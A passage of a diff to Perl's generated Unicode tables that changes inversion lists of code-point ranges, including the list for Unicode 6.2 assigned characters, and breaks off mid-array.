+	0x2190,
+	0x23F4,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2700,
+	0x2701,
+	0x2B4D,
+	0x2B50,
+	0x2B5A,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
 	0x2C5F,
 	0x2C60,
-	0x2CE5,
-	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
-	0x2D00,
+	0x2CF9,
 	0x2D26,
 	0x2D27,
 	0x2D28,
 	0x2D2D,
 	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E3C,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FCD,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
 	0xA640,
-	0xA66E,
-	0xA680,
-	0xA69E,
-	0xA722,
-	0xA788,
-	0xA78B,
+	0xA698,
+	0xA69F,
+	0xA6F8,
+	0xA700,
 	0xA78F,
 	0xA790,
-	0xA7AF,
-	0xA7B0,
-	0xA7B8,
+	0xA794,
+	0xA7A0,
+	0xA7AB,
 	0xA7F8,
-	0xA7FB,
-	0xAB30,
-	0xAB5B,
-	0xAB5C,
-	0xAB66,
-	0xAB70,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FC,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
 	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
-	0xFF21,
-	0xFF3B,
-	0xFF41,
-	0xFF5B,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE27,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
 	0x10400,
-	0x10450,
-	0x104B0,
-	0x104D4,
-	0x104D8,
-	0x104FC,
-	0x10C80,
-	0x10CB3,
-	0x10CC0,
-	0x10CF3,
-	0x118A0,
-	0x118E0,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10C00,
+	0x10C49,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x11080,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11180,
+	0x111C9,
+	0x111D0,
+	0x111DA,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x13000,
+	0x1342F,
+	0x16800,
+	0x16A39,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x1B000,
+	0x1B002,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -65000,222 +252393,3630 @@
 	0x1D552,
 	0x1D6A6,
 	0x1D6A8,
-	0x1D6C1,
-	0x1D6C2,
-	0x1D6DB,
-	0x1D6DC,
-	0x1D6FB,
-	0x1D6FC,
-	0x1D715,
-	0x1D716,
-	0x1D735,
-	0x1D736,
-	0x1D74F,
-	0x1D750,
-	0x1D76F,
-	0x1D770,
-	0x1D789,
-	0x1D78A,
-	0x1D7A9,
-	0x1D7AA,
-	0x1D7C3,
-	0x1D7C4,
 	0x1D7CC,
-	0x1E900,
-	0x1E944,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0BF,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0E0,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
 	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
+	0x1F16C,
 	0x1F170,
-	0x1F18A
+	0x1F19B,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23B,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F321,
+	0x1F330,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F380,
+	0x1F394,
+	0x1F3A0,
+	0x1F3C5,
+	0x1F3C6,
+	0x1F3CB,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F400,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4F8,
+	0x1F4F9,
+	0x1F4FD,
+	0x1F500,
+	0x1F53E,
+	0x1F540,
+	0x1F544,
+	0x1F550,
+	0x1F568,
+	0x1F5FB,
+	0x1F641,
+	0x1F645,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F700,
+	0x1F774,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+static const UV PL_IN__6_DOT_2_invlist[] = { /* for all charsets */
+	1098,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x528,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58F,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x605,
+	0x606,
+	0x61C,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x8A0,
+	0x8A1,
+	0x8A2,
+	0x8AD,
+	0x8E4,
+	0x8FF,
+	0x900,
+	0x978,
+	0x979,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5A,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CF7,
+	0x1D00,
+	0x1DE7,
+	0x1DFC,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20BB,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218A,
+	0x2190,
+	0x23F4,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2700,
+	0x2701,
+	0x2B4D,
+	0x2B50,
+	0x2B5A,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E3C,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FCD,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA698,
+	0xA69F,
+	0xA6F8,
+	0xA700,
+	0xA78F,
+	0xA790,
+	0xA794,
+	0xA7A0,
+	0xA7AB,
+	0xA7F8,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FC,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE27,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10C00,
+	0x10C49,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x11080,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11180,
+	0x111C9,
+	0x111D0,
+	0x111DA,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x13000,
+	0x1342F,
+	0x16800,
+	0x16A39,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x1B000,
+	0x1B002,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0BF,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0E0,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F19B,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23B,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F321,
+	0x1F330,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
